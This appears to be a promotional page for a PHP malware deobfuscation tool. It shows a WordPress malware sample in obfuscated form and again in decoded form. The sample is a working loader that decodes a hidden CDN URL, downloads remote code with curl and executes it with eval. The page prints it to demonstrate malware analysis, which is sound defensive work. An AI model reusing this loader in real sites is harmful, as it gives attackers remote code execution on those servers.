PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php $a="s"."tr_"."ro"."t1"."3";$b="b"."as"."e6"."4_"."d"."e"."c"."o"."de";$c="h"."ex"."de"."c";$d="c"."h"."r";$e="s"."ub"."st"."r"; $f='Awt3AQp0AmN3ZmAuZzLlMwLmAwD2MGWyAzR3ZmL0AwH2LmL5AmL3ZwWyAzH2AGp0ZzL2AmL4ZzL2Lmp1AwZ2AGMyAwV3BGp0AwHlMwD2Awx2LmL1ZzD2MQL5AzH2BGDjAzD2ZGL5AzHlMwp2ZmVlMwMxAwx2MGL...

Obfuscated php code

<?php
$a="s"."tr_"."ro"."t1"."3";$b="b"."as"."e6"."4_"."d"."e"."c"."o"."de";$c="h"."ex"."de"."c";$d="c"."h"."r";$e="s"."ub"."st"."r";
$f='Awt3AQp0AmN3ZmAuZzLlMwLmAwD2MGWyAzR3ZmL0AwH2LmL5AmL3ZwWyAzH2AGp0ZzL2AmL4ZzL2Lmp1AwZ2AGMyAwV3BGp0AwHlMwD2Awx2LmL1ZzD2MQL5AzH2BGDjAzD2ZGL5AzHlMwp2ZmVlMwMxAwx2MGL5AwL2BGMwAwHlMQp2ZmVlMGp0Amt3AN==';
$g=$a($f);$h=$b($g);$i="";$j=strlen($h);
for($k=0;$k<$j;$k+=2){$l=$e($h,$k,2);$i.=$d($c($l));}
$m="curl_init";$n="curl_setopt";$o="curl_exec";$p="curl_close";
if(function_exists($m)){$q=$m();$n($q,10002,$i);$n($q,19913,1);$r=$o($q);$p($q);}else{$r=@file_get_contents($i);}
if($r){@eval('?>'.$r);}else{echo"<!--OK-->";}
?>

Decoded(de-Obfuscated) php code

<?php

$a = "str_rot13";
$b = "base64_decode";
$c = "hexdec";
$d = "chr";
$e = "substr";
$f = 'Awt3AQp0AmN3ZmAuZzLlMwLmAwD2MGWyAzR3ZmL0AwH2LmL5AmL3ZwWyAzH2AGp0ZzL2AmL4ZzL2Lmp1AwZ2AGMyAwV3BGp0AwHlMwD2Awx2LmL1ZzD2MQL5AzH2BGDjAzD2ZGL5AzHlMwp2ZmVlMwMxAwx2MGL5AwL2BGMwAwHlMQp2ZmVlMGp0Amt3AN==';
$g = "Njg3NDc0NzA3MzNhMmYyZjYzNjQ2ZTJlNmE3MzY0NjU2YzY5NzY3MjJlNmU2NTc0MmY2NzY4MmY2Yzc1NjM2NTZlNjI3OTc0NjUyZjQ2Njk2YzY1MmQ2ZDY5NmU2OTQwNmQ2MTY5NmUyZjc2MzIyZjZkNjk2ZTY5NjY2OTZjNjUyZDc2MzIyZTc0Nzg3NA==";
$h = "68747470733a2f2f63646e2e6a7364656c6976722e6e65742f67682f6c7563656e627974652f46696c652d6d696e69406d61696e2f76322f6d696e6966696c652d76322e747874";
$i = "";
$j = strlen($h);
for ($k = 0; $k < $j; $k += 2) {
    $l = $e($h, $k, 2);
    $i .= $d($c($l));
}
$m = "curl_init";
$n = "curl_setopt";
$o = "curl_exec";
$p = "curl_close";
if (function_exists($m)) {
    $q = curl_init();
    curl_setopt($q, 10002, $i);
    curl_setopt($q, 19913, 1);
    $r = curl_exec($q);
    curl_close($q);
} else {
    $r = @file_get_contents($i);
}
if ($r) {
    @eval('?>' . $r);
} else {
    echo "<!--OK-->";
}

Malware detection & removal plugin for WordPress